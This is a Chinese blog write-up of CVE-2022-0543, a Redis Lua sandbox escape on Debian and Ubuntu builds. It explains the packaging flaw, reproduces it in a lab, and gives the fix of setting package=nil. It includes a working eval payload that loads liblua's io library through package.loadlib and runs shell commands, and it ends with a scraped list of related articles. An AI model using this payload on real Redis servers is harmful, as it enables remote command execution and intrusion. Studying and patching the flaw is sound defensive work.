一、描述

影响范围:Debian系得linux发行版本+Ubuntu

Debian系得linux发行版本

其并非Redis本身漏洞,形成原因在于系统补丁加载了一些redis源码注释了的代码

揭露时间:2022.3.8

二、原理

redis在用户连接后可以通过eval命令执行Lua脚本,但是脚本跑在沙箱中,正常情况下无法执行命令读取文件,所以这个漏洞的本质是沙箱绕过。

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包,其中给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码:

debian/lua_libs_debian.c:echo "// Automatically generated; do not edit." >$@echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \doneecho 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

其中 luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package) 就是漏洞的来源

这段代码原本被注释掉,而这个补丁却重新把他写了进去,导致在Lua沙箱中遗留了一个对象package,攻击者可以利用package对象提供的加载动态链接库liblua里的函数逃逸。

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

注:不同系统下liblua5.1.so.0路径不同 io.popen("", "r"); 的第一个引号内为执行命令

连接后可以使用以下命令逃逸

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

三、复现

在靶场中启用镜像CVE-2022-0543

一般情况下,redis运行在6379(默认端口),而在此镜像中映射于36770端口,可以使用nmap扫描端口发现相应服务

使用kali的redis-cli尝试连接redis,进入后使用eval使用相关脚本 ls /tmp 找到flag

该漏洞成功复现

四、解决方案

Lua 初始化的末尾添加package=nil 。

luaL_dostring(lua, "module = nil; require = nil;package=nil;")

简单漏洞:CVE-2022-0543 Redis Lua 沙盒绕过相关推荐

  1. CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现

    #Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...

  2. 将 SharePoint 2010 网站集升级到 2013 (含沙盒方案)

    SharePoint 2013 已经迫近眼前,提新的基于 SharePoint 的方案时,已经不能不考虑和解释与 2013 有关的内容了. 在这些需要考虑和解释的部分里面,沙盒解决方案的去留是我最关心 ...

  3. 恶意软件的沙盒规避技术

    恶意软件的沙盒规避技术 欢迎访问本人博客: https://www.xuanworld.top/ 摘要 ​ 恶意软件的沙盒技术目前广泛应用于网络安全的公司以及各类软件市场,沙盒可以探测到软件的各种行为 ...

  4. iNFTnews丨阿迪达斯、汇丰银行等入驻的沙盒元宇宙土地该如何估价?

    是什么驱动了沙盒元宇宙地价? 与实体房地产类似,在基于区块链的虚拟世界中的一块数字土地NFT是可以存储价值的资产.自去年10月Meta宣布进军元宇宙以来,市场对这些虚拟土地NFT的需求激增,它们的价格 ...

  5. CobaltStrike木马artifact.exe规避火绒,360,node32沙盒的方法分析

    最近发现一个奇怪的现象,我用CobaltStrike直接生成一个裸奔测试后门artifact.exe 然后使用火绒扫描,火绒居然没有直接查杀 自己上线自己 按理说这种被渗透人员大量使用的后门,不管它原 ...

  6. 2022黑马Redis跟学笔记.实战篇(二)

    2022黑马Redis跟学笔记.实战篇 二 实战篇Redis 开篇导读 4.1短信登录 4.1.1. 搭建黑马点评项目 一.导入黑马点评项目 二.导入SQL 三.有关当前模型 四.导入后端项目 相关依 ...

  7. Java并发:分布式应用限流 Redis + Lua 实践

    任何限流都不是漫无目的的,也不是一个开关就可以解决的问题,常用的限流算法有:令牌桶,漏桶.在之前的文章中,也讲到过,但是那是基于单机场景来写. 之前文章:接口限流算法:漏桶算法&令牌桶算法 然 ...

  8. Redis Lua脚本中学教程(下)

    在中学教程的上半部分我们介绍了Redis Lua相关的命令,没有看过或者忘记的同学可以步行前往直接使用机票Redis Lua脚本中学教程(上).今天我们来简单学习一下Lua的语法. 在介绍Lua语法之 ...

  9. 高并发-【抢红包案例】之四:使用Redis+Lua脚本实现抢红包并异步持久化到数据库

    文章目录 导读 概述 实现步骤 注解方式配置 Redis lua脚本和异步持久化功能的开发 Service层添加Redis抢红包的逻辑 Controller层新增路由方法 构造模拟数据,测试 代码 总 ...

最新文章

  1. python的x 2是什么意思_python中startx是什么意思
  2. 北京点击科技有限公司董事长兼总裁——王志东经典语录4
  3. 第七章、Linux 文件与目录管理
  4. web第一节2020.5.11
  5. 【虚拟化】docker创建mysql镜像,docker内部操作mysql
  6. 表的插入、更新、删除、合并操作_11_更新表的记录
  7. 在 ubuntu 上编译 qtopia-2.2.0问题
  8. unsafe jdk9_JDK 9清单:Project Jigsaw,sun.misc.Unsafe,G1,REPL等
  9. JS~~~ 前端开发一些常用技巧 模块化结构 命名空间处理 奇技淫巧!!!!!!...
  10. dirsearch工具(Web目录爆破)
  11. python opcua_理解python中的免费OPC/UA代码
  12. lb开金矿 QDUOJ 数论
  13. WinRAR压缩加密
  14. 在线免费OCR文字识别工具,强烈推荐,这是目前用过最良心的
  15. STM32F407VET6+cubemx+FSMC+ST7789
  16. mysql 预处理stmt操作(写入数据库和从数据库中取出)
  17. Rust实现:从一组纸牌中挑选Winner纸牌
  18. 计算机如何添加gust用户,如何为自己的电脑创建一个guest账户?
  19. 基于51单片机设计的交通灯
  20. Matlab应变片仿真,应变片组的命名规则

热门文章

  1. python连接hive步骤(不出错版)
  2. 炫龙笔记本开启大小写,桌面显示图标
  3. Apache Storm-2.0.0 Trident 新版
  4. 国内网站用香港服务器会被封吗?
  5. 二刷剑指Offer:剑指Offer+LeetCode(全53题)
  6. 设计灵感网站_15个必不可少的设计灵感网站
  7. 2021-2022学年广州市海珠区九年级第一学期期中统考英语试题
  8. h5app 实现ios更新跳转appStore
  9. 【Remote Sensing】高光谱遥感基础
  10. 手推SVM 支持向量机的简易推导和理解